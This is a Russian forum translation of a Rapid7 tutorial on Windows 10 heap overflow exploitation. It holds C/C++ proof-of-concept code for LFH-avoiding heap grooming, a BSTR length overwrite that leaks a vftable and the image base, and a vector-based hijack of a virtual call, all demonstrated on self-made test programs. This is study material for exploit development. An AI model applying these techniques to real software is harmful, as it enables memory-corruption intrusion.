• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Объяснение эксплуатации переполнения кучи в Windows 10

Статус
Закрыто для дальнейших ответов.

a1d

RAM
Пользователь
Регистрация
04.05.2019
Сообщения
142
Реакции
125
Это базовый пример переполнения кучи. Видно, что он пытается передать 64 байта в меньший буфер кучи, который составляет всего 32 байта.

C:
#include <stdio.h>

int main(int args, char** argv) {
  void* heap = (void*) malloc(32);
  memset(heap, 'A', 64);
  printf("%s\n", heap);
  free(heap);
  heap = NULL;
  return 0;
}

В дебагере вы увидите ошибку 0xc0000374, показывающую исключение, вызванное утечкой памяти, что в ходе неудачной проверке привело к вызову RtlpLogHeapFailure.

Современные системы действительно хорошо защищают свои кучи в наши дни, и каждый раз, когда вы видите эту функцию, это показатель того, что вы проиграли. Возможность экспоита зависит от того, насколько вы котролируете приложение.
Клиентские приложения, такие как PDF, Flash и т.д., как правило являются отличными целями, из-за поддержки скриптовых языков. Весьма вероятно, что вы имеете косвенный контроль массивов, HeapAlloc, HeapFree, векторов, строк и прочего, которые являются хорошими инструментами, чтобы эксплуатировать утечку памяти, после того, как найдёте её.

СЛОЖНЫЙ ПЕРВЫЙ ШАГ ДЛЯ УСПЕХА
В приложениях на C/C++, ошибка программы может создать такие возможности, как разрешение программе читать несоответствующую память, записовать или даже выполнять несоответствующий код. Обычно, мы просто зовём это сбоями, а на самом деле даже существует индустрия людей, полностью одержимая поиском таких ошибок. Принимая такую "плохую память", которую программа не должна читать, мы стали свидетелями бага Heartbleed.

Неважно, какой у вас эксплоит, самым первым шагом всегда является настройка правильной среды в памяти для проведения данной атаки. Это что-то похожее на термин из СИ, который называется pretexting. Что касается эксплоитов, у нас есть разные названия: Feng shui(фэн-шуй), massaging(массаж), grooming(уход за телом). Каждая программа любит массаж, верно?

Windows7 vs Windows10
Внутренности Windows 10 значительно отличаются от своих предшественников. Вы могли заметить некоторые недавние громкие эксплоиты, которые были сделаны против старых систем. Например, использование FileReader Use After Free в Google Chrome для Windows 7, BlueKeep RDP в основном лучше всего работала в Windows XP, а Zerodium в Windows 7.

Предсказуемое распределение кучи - важная вещь для очистки кучи, поэтому я написал тест ниже для обеих систем. По сути, он создает несколько объектов и дорожек, где они находятся. Есть также Summerize() метод, который сообщает мне все смещения, найденные между двумя объектами, и наиболее распространенное смещение.

C:
void SprayTest() {
  OffsetTracker offsetTracker;
  LPVOID* objects = new LPVOID[OBJECT_COUNT];
  for (int i = 0; i < OBJECT_COUNT; i++) {
    SomeObject* obj = new SomeObject();
    objects[i] = obj;
    if (i > 0) {
      int offset = (int) objects[i] - (int) objects[i-1];
      offsetTracker.Register(offset);
      printf("Object at 0x%08x. Offset to previous = 0x%08x\n", (int) obj, offset);
    } else {
      printf("Object at 0x%08x\n", (int) obj);
    }
  }
  printf("\n");
  offsetTracker.Summeriz();

Результат в Windows 7

3679


По сути, мой инструмент тестирования предполагает, что в 97,8% случаев мои значения кучи выглядят следующим образом:
Код:
[ Object ][ 0x30 of Bytes ][ Object ]


Тот же код в Windows 10 ведёт себя иначе:

3680


Только 6%. Это означает, что если бы у меня был эксплоит, у меня не было бы надёжного размещения для работы, и я бы терпел неудачу в 94% случаев. С таким же успехом я мог и не писать эксплоит.

Как оказалось, Windows 10 требует другого способа подготовки, и он намного сложнее. После долгих обсуждений с Питером из Corelan, мы пришли к выводу, что нам лучше не использовать кучу с низкой фрагментацией потому что именно это портит наши результаты.

Front- vs. back-end allocator

Низкая фрагментация кучи - способ позволить системе распределять память в определённых заранее размерах. Это значит, что когда приложение запрашивает распределение, система возвращает минимальный доступный подходящий фрагмент. Это звучит очень хорошо, за исключением Windows 10, оно не даёт вам фрагмент размером его соседа. Вы можете проверить, обрабатывается ли куча LFH, использую в WinDBG следующее:


Существует поле с именем FrontEndHeapType со смещением 0x0d6. Если значение равно 0, это означает, что куча обрабатывается внутренним распределителем. Первое обозначает LOOASIDE, а второе LFH. Другой способ проверить, принадлежит ли фрагмент к LFH:

Внутренний распределитель фактически является выбором по умолчанию, и для включения LFH требуется по меньшой мере 18 размещений. Кроме того, эти размещения не должны быть последовательными - они просто должны быть одного и того же размера. Например:


C:
#include <Windows.h>
#include <stdio.h>
#define CHUNK_SIZE 0x300

int main(int args, char** argv) {
  int i;
  LPVOID chunk;
  HANDLE defaultHeap = GetProcessHeap();
  for (i = 0; i < 18; i++) {
    chunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE);
    printf("[%d] Chunk is at 0x%08x\n", i, chunk);
  }
  for (i = 0; i < 5; i++) {
    chunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE);
    printf("[%d] New chunk in LFH : 0x%08x\n", i ,chunk);
  }
  system("PAUSE");
  return 0;
}

Код выше дал следующий результат:

3681


Два цикла делают одно и тоже. Первый повторяется 18 раз, второй 5 раз. Наблюдая за этими адресами, можно заметить несколько интересных фактов:
В первом цикле:
Индекс 0 и Индекс 1 имеют огромный разрыв в 0x1310 байтов.
Начиная с индекса 2 до индекса 16 этот разрыв постоянно равен 0x308 байтов.
Во втором цикле:
Индекс 0 - начало LFH.
Каждый разрыв является случайным, как правило далеко друг от друга.
Кажется, самое приятное место, где мы имели больше всего контроля, находится между 2 и 16 индексом в первом цилке, перед срабатыванием LFH.

The beauty of overtaking

Особенность диспетчера кучи Windows является то, что он знает, как повторно использовать освобождённый фрагмент. Теоритически, если вы освобождаете фрагмент и выделяете другой для того же размера, есть большая вероятность, что он займёт освободившеевся пространство. Использовав это, можно написать эксплоит.
Чтобы убедиться в этом, давайте напишим ещё один код на C:

C:
#include <Windows.h>
#include <stdio.h>
#define CHUNK_SIZE 0x300

int main(int args, char** argv) {
  int i;
  LPVOID chunk;
  HANDLE defaultHeap = GetProcessHeap();
  // Trigger LFH
  for (i = 0; i < 18; i++) {
    HeapAlloc(defaultHeap, 0, CHUNK_SIZE);
  }
  chunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE);
  printf("New chunk in LFH : 0x%08x\n", chunk);
  BOOL result = HeapFree(defaultHeap, HEAP_NO_SERIALIZE, chunk);
  printf("HeapFree returns %d\n", result);
  chunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE);
  printf("Another new chunk : 0x%08x\n", chunk);
  system("PAUSE");
  return 0;
}

В Windows 7 кажется, что этот метод допустим.

3682


Для точно такого же кода результат в Windows 10 совсем другой:

3683


Однакао наша надежда всё ещё не потерена. Интересным поведением диспетчера кучи Windows является то, что по-видимому, в целях эффективности он может разделить большой свободный кусок, чтобы обслуживать меньшие порции запросов приложений. Это значит, что более мелкие фрагменты могут обьединяться, делая их смежными друг с другом. Чтобы достичь этого, необходимо:
1. Выделить фрагменты, не обработанные LFH
Попробуйте выбрать размер, который не используется приложением, обычно это большой размер. В нашем примере, пусть будет 0x300.
Выделите от 5 до 18 фрагментов.
2. Выберите фрагмент, который вы хотите освободить
Идеальный кандитат на эту роль, очевидно, не 1 или 18 фрагмент.
Выбранный вами фрагмент должен иметь одинаковое смещение между предыдущим и следующим. Это означает, что вы хотите убедиться, в том, что у вас есть схема, прежде чем освободить средний.
3. Сделайте отверстие
Освободив средний фрагмент, вы технически создаёте отверстие, которое выглядит вот так:
4. Создайте меньшние выделения для чудо-обьеденения
Обычно идеальные куски на самом деле являются обьектами из приложения. Например, идеальным является какой-то обьект, с заголовком размера, который вы можете изменить. Структура BSTR идеально, как никогда подходит для этого сценария.

Может потребоваться много проб и ошибок, чтобы создать правильный размер объекта и заставить его упасть в отверстие, созданное вами.

5. Повторите шаг 3(ещё отверстие)
Ещё отверстие будет использовано для помещение объекта, которое мы хотим просочить. Ваша новая схема будет выглядить вот так

6. Повторите шаг 4(создайте обьект для просочения)

В последнем свободном фрагменте мы хотим заполнить его объектами, которые хотим просочить. Чтобы создать их, вы должны выбрать что-то, что позволит управлять распределением кучи, где вы сможете сохранять указатели ждя одного и того же объекта. Вектор или массив прекрасно подходят для такой работы.
Ещё раз напомню, что вам может потребоваться поэксперемнтировать с различными размерами, чтобы найти тот, который должен быть в отверстии.
Новое распределение должно занять последний фрагмент следующим образом:


Реализация в C++:

C++:
#include <Windows.h>
#include <comdef.h>
#include <stdio.h>
#include <vector>

using namespace std;

#define CHUNK_SIZE 0x190
#define ALLOC_COUNT 10
class SomeObject {
public:
  void function1() {};
  virtual void virtual_function1() {};
};


int main(int args, char** argv) {
  int i;
  BSTR bstr;
  HANDLE hChunk;
  void* allocations[ALLOC_COUNT];
  BSTR bStrings[5];
  SomeObject* object = new SomeObject();
  HANDLE defaultHeap = GetProcessHeap();
  for (i = 0; i < ALLOC_COUNT; i++) {
    hChunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE);
    memset(hChunk, 'A', CHUNK_SIZE);
    allocations[i] = hChunk;
    printf("[%d] Heap chunk in backend : 0x%08x\n", i, hChunk);
  }
  HeapFree(defaultHeap, HEAP_NO_SERIALIZE, allocations[3]);
  for (i = 0; i < 5; i++) {
    bstr = SysAllocString(L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    bStrings[i] = bstr;
    printf("[%d] BSTR string : 0x%08x\n", i, bstr);
  }
  HeapFree(defaultHeap, HEAP_NO_SERIALIZE, allocations[4]);
  int objRef = (int) object;
  printf("SomeObject address for Chunk 3 : 0x%08x\n", objRef);
  vector<int> array1(40, objRef);
  vector<int> array2(40, objRef)
  vector<int> array3(40, objRef);
  vector<int> array4(40, objRef);
  vector<int> array5(40, objRef);
  vector<int> array6(40, objRef);
  vector<int> array7(40, objRef);
  vector<int> array8(40, objRef);
  vector<int> array9(40, objRef);
  vector<int> array10(40, objRef);
  system("PAUSE");
  return 0;
}

По причинам отладки программа записывает, где находятся распределения при запуске:

3684


Для проверки того, что всё в нужном месте, мы можем взглянуть на это через WinDBG.

3685


Кажется, мы всё выполнили правильно, все три блока расположены верно. Если вы дочитали до этого момента и не заснули, я вам лично вручу медаль. Мы наконец готовы идти дальше и поговорить о любимой части эксплуатации.

Эксплуатация переполнения кучи
Я думаю, что в этот момент вы могли догадаться, что самая болезненная часть переполнения кучи на самом деле не переполнение кучи. Это время и усилия, необходимые для настройки желаемой структуры памяти. К тому времени, когда вы будете готовы использовать ошибку, вы уже в основном покончили с ней.

Напомним, что прежде чем вы будете готовы использовать переполнение кучи, чтобы вызвать утечку информации, вы должны убедиться, что у вас есть контроль над схемой, которая должна быть похожа на эту в случае утечки информации:

Код:
[ Chunk 1 ][ BSTR ][ Array of pointers ]

Точная перезапись
Для этого сценария эксплуатации наиболее важной целью для нашего переполнения кучи является следующее: точно перезаписать длину BSTR. Поле длины представляет собой четырехбайтовое значение, найденное перед строкой BSTR:


3921



В этом примере вы хотите изменить шестнадцатеричное значение 0xF8 на что-то большее, например 0xFF, что позволяет BSTR читать 255 байт. Этого более чем достаточно, чтобы прочитать данные BSTR и собрать данные в следующем фрагменте. Ваш код может выглядеть так:


3922



Что касается приложения, BSTR теперь содержит некоторые указатели, которые мы хотим. Мы наконец готовы претендовать на нашу награду.

Чтение пропущенных данных
Когда вы читаете BSTR с указателями vftable, вы хотите точно определить, где находятся эти четыре байта, а затем подстроковать его. Эти четыри необработанные байты нужно преобразовать в целочисленное значение. Следующий пример демонстрирует, как это сделать:

C:
std::wstring ws(bStrings[0], strSize);
std::wstring ref = ws.substr(120+16, 4);
char buf[4];
memcpy(buf, ref.data(), 4);
int refAddr = int((unsigned char)(buf[3]) << 24 | (unsigned char)(buf[2]) << 16 | (unsigned char)(buf[1]) << 8 | (unsigned char)(buf[0]));

Другие языки действительно подошли бы к конвертации аналогичным образом. Поскольку JavaScript является довольно популярным инструментом для работы с кучей, вот еще один пример для демонстрации:

JavaScript:
var bytes = "AAAA";
var intVal = bytes.charCodeAt(0) | bytes.charCodeAt(1) << 8 | bytes.charCodeAt(2) << 16 | bytes.charCodeAt(3) << 24;

// This gives you 1094795585
console.log(intVal);

Получив адрес vftable, вы можете использовать его для расчета базового адреса изображения. Интересная информация, которую вы хотите знать, это то, что местоположение vftables предопределено в разделе .rdata, что означает, что, пока вы не перекомпилируете, ваша vftable должна оставаться там:


3923



Это значительно облегчает вычисление базового адреса изображения:

Код:
Offset to Image Base = VFTable - Image Base Address

Для окончательного продукта для нашей утечки информации, вот исходный код:

C++:
#include <Windows.h>
#include <comdef.h>
#include <stdio.h>
#include <vector>
#include <string>
#include <iostream>
using namespace std;

#define CHUNK_SIZE 0x190
#define ALLOC_COUNT 10

class SomeObject {
public:
  void function1() {};
  virtual void virtual_function1() {};
};

int main(int args, char** argv) {
  int i;
  BSTR bstr;
  BOOL result;
  HANDLE hChunk;
  void* allocations[ALLOC_COUNT];
  BSTR bStrings[5];
  SomeObject* object = new SomeObject();
  HANDLE defaultHeap = GetProcessHeap();
  if (defaultHeap == NULL) {
    printf("No process heap. Are you having a bad day?\n");
    return -1;
  }

  printf("Default heap = 0x%08x\n", defaultHeap);

  printf("The following should be all in the backend allocator\n");
  for (i = 0; i < ALLOC_COUNT; i++) {
    hChunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE);
    memset(hChunk, 'A', CHUNK_SIZE);
    allocations[i] = hChunk;
    printf("[%d] Heap chunk in backend : 0x%08x\n", i, hChunk);
  }

  printf("Freeing allocation at index 3: 0x%08x\n", allocations[3]);
  result = HeapFree(defaultHeap, HEAP_NO_SERIALIZE, allocations[3]);
  if (result == 0) {
    printf("Failed to free\n");
    return -1;
  }

  for (i = 0; i < 5; i++) {
    bstr = SysAllocString(L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    bStrings[i] = bstr;
    printf("[%d] BSTR string : 0x%08x\n", i, bstr);
  }

  printf("Freeing allocation at index 4 : 0x%08x\n", allocations[4]);
  result = HeapFree(defaultHeap, HEAP_NO_SERIALIZE, allocations[4]);
  if (result == 0) {
    printf("Failed to free\n");
    return -1;
  }

  int objRef = (int) object;
  printf("SomeObject address : 0x%08x\n", objRef);
  printf("Allocating SomeObject to vectors\n");
  vector<int> array1(40, objRef);
  vector<int> array2(40, objRef);
  vector<int> array3(40, objRef);
  vector<int> array4(40, objRef);
  vector<int> array5(40, objRef);
  vector<int> array6(40, objRef);
  vector<int> array7(40, objRef);
  vector<int> array8(40, objRef);
  vector<int> array9(40, objRef);
  vector<int> array10(40, objRef);

  UINT strSize = SysStringByteLen(bStrings[0]);
  printf("Original String size: %d\n", (int) strSize);
  printf("Overflowing allocation 2\n");

  char evilString[] =
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBB"
    "CCCCDDDD"
    "\xff\x00\x00\x00";
  memcpy(allocations[2], evilString, sizeof(evilString));
  strSize = SysStringByteLen(bStrings[0]);
  printf("Modified String size: %d\n", (int) strSize);

  std::wstring ws(bStrings[0], strSize);
  std::wstring ref = ws.substr(120+16, 4);
  char buf[4];
  memcpy(buf, ref.data(), 4);
  int refAddr = int((unsigned char)(buf[3]) << 24 | (unsigned char)(buf[2]) << 16 | (unsigned char)(buf[1]) << 8 | (unsigned char)(buf[0]));
  memcpy(buf, (void*) refAddr, 4);
  int vftable = int((unsigned char)(buf[3]) << 24 | (unsigned char)(buf[2]) << 16 | (unsigned char)(buf[1]) << 8 | (unsigned char)(buf[0]));
  printf("Found vftable address : 0x%08x\n", vftable);
  int baseAddr = vftable - 0x0003a490;
  printf("====================================\n");
  printf("Image base address is : 0x%08x\n", baseAddr);
  printf("====================================\n");

  system("PAUSE");

  return 0;
}

И наконец, давайте станем свидетелями сладкой победы


3924



После утечки
Утечка адреса vftable и image приводит к тому, что эксплуатация приложения будет во многом похожа на эпоху, предшествующую ASLR , и единственное, что останется между вами и оболочкой - это DEP . Вы можете легко собрать некоторые гаджеты ROP, используя утечку, победить DEP и заставить эксплойт работать.

Следует иметь в виду, что независимо от того, какую DLL вы выберете для сбора гаджетов ROP, может быть несколько версий этой DLL, которые используются конечными пользователями по всему миру. Есть способы преодолеть это. Например, вы можете написать что-то, что сканирует изображение для нужных вам ROP-гаджетов. Или вы можете собрать все версии, которые вы можете найти для этой DLL, создать ROP для них, а затем использовать утечку, чтобы проверить, какая версия DLL используется вашим эксплойтом, и затем вернуть цепочку ROP соответствующим образом. Другие методы также возможны.

Выполнение произвольного кода
Теперь, когда мы закончили с утечкой, мы на один большой шаг приблизились к выполнению произвольного кода. Если вам удалось прочитать весь процесс о том, как использовать переполнение кучи для утечки данных, эта часть вам не так уж и странна. Хотя есть несколько способов решения этой проблемы, мы на самом деле можем заимствовать ту же идею из техники утечки и получить аварийный отказ. Один из фокусов заключается в поведении вектора.
В C ++ вектор - это динамический массив, который автоматически увеличивается или уменьшается. Базовый пример выглядит так:


C++:
#include <vector>
#include <string>
#include <iostream>
using namespace std;

int main(int args, char** argv) {
  vector<string> v;
  v.push_back("Hello World!");
  cout << v.at(0) << endl;
  return 0;
}

Это прекрасный инструмент для эксплойтов, так как он позволяет нам создавать массив произвольного размера, который содержит указатели, которыми мы управляем. Он также сохраняет содержимое в куче, что означает, что вы можете использовать это для распределения кучи, что вы уже видели в примерах утечки информации.
Заимствуя эту идею, мы могли бы придумать такую стратегию:
  1. Создать объект.
  2. Аналогично настройке утечки, выделите несколько порций не более 18 (чтобы избежать LFH).
  3. Освободите один из фрагментов (где-то между 2-м или 16-м)
  4. Создайте 10 векторов. Каждый заполнен указателями на один и тот же объект. Возможно, вам придется поиграть с размером, чтобы точно определить, насколько большими должны быть векторы. Надеемся, что содержимое одного из векторов возьмет на себя освобожденный фрагмент.
  5. Переполните фрагмент, найденный перед освобожденным.
  6. Используйте объект, который содержит вектор.
Реализация вышеуказанной стратегии выглядит примерно так:

C++:
#include <Windows.h>
#include <stdio.h>
#include <vector>
using namespace std;

#define CHUNK_SIZE 0x190
#define ALLOC_COUNT 10

class SomeObject {
public:
  void function1() {
  };
  virtual void virtualFunction() {
    printf("test\n");
  };
};

int main(int args, char** argv) {
  int i;
  HANDLE hChunk;
  void* allocations[ALLOC_COUNT];
  SomeObject* objects[5];
  SomeObject* obj = new SomeObject();
  printf("SomeObject address : 0x%08x\n", obj);
  int vectorSize = 40;

  HANDLE defaultHeap = GetProcessHeap();

  for (i = 0; i < ALLOC_COUNT; i++) {
    hChunk = HeapAlloc(defaultHeap, 0, CHUNK_SIZE);
    memset(hChunk, 'A', CHUNK_SIZE);
    allocations[i] = hChunk;
    printf("[%d] Heap chunk in backend : 0x%08x\n", i, hChunk);
  }

  HeapFree(defaultHeap, HEAP_NO_SERIALIZE, allocations[3]);
  vector<SomeObject*> v1(vectorSize, obj);
  vector<SomeObject*> v2(vectorSize, obj);
  vector<SomeObject*> v3(vectorSize, obj);
  vector<SomeObject*> v4(vectorSize, obj);
  vector<SomeObject*> v5(vectorSize, obj);
  vector<SomeObject*> v6(vectorSize, obj);
  vector<SomeObject*> v7(vectorSize, obj);
  vector<SomeObject*> v8(vectorSize, obj);
  vector<SomeObject*> v9(vectorSize, obj);
  vector<SomeObject*> v10(vectorSize, obj);

  printf("vector : 0x%08x\n", v1);
  printf("vector : 0x%08x\n", v2);
  printf("vector : 0x%08x\n", v3);
  printf("vector : 0x%08x\n", v4);
  printf("vector : 0x%08x\n", v5);
  printf("vector : 0x%08x\n", v6);
  printf("vector : 0x%08x\n", v7);
  printf("vector : 0x%08x\n", v8);
  printf("vector : 0x%08x\n", v9);
  printf("vector : 0x%08x\n", v10);

  memset(allocations[2], 'B', CHUNK_SIZE + 8 + 32);
  v1.at(0)->virtualFunction();
  system("PAUSE");
  return 0;
}

Поскольку содержимое вектора (попавшего в отверстие) перезаписывается данными, которые мы контролируем, если есть какая-то функция, которая хочет его использовать (которая ожидает напечатать «test»), мы в конечном итоге получим хороший сбой, который можно использовать , которая может быть прикована к утечке информации для создания полноценного эксплойта.


3925



Резюме
Современная эксплуатация кучи - увлекательный и сложный предмет для освоения. Требуется много времени и усилий, чтобы провести реинжиниринг внутренних компонентов приложения, прежде чем вы узнаете, что вы можете использовать для борьбы с коррупцией. Большинство из нас могут быть легко поражены этим, и иногда мы чувствуем, что почти ничего не знаем об этом предмете. Однако, поскольку большинство проблем с повреждением памяти основано на C / C ++, вы можете создать свои собственные уязвимые случаи, чтобы испытать их. Таким образом, когда вы сталкиваетесь с настоящим CVE, это уже не страшная тема: вы знаете, как идентифицировать примитивы, и вы сами попробовали использовать CVE.

Перевод a1d
Источник: https://blog.rapid7.com/2019/06/12/heap-overflow-exploitation-on-windows-10-explained/
 
Последнее редактирование модератором:
Статус
Закрыто для дальнейших ответов.
Верх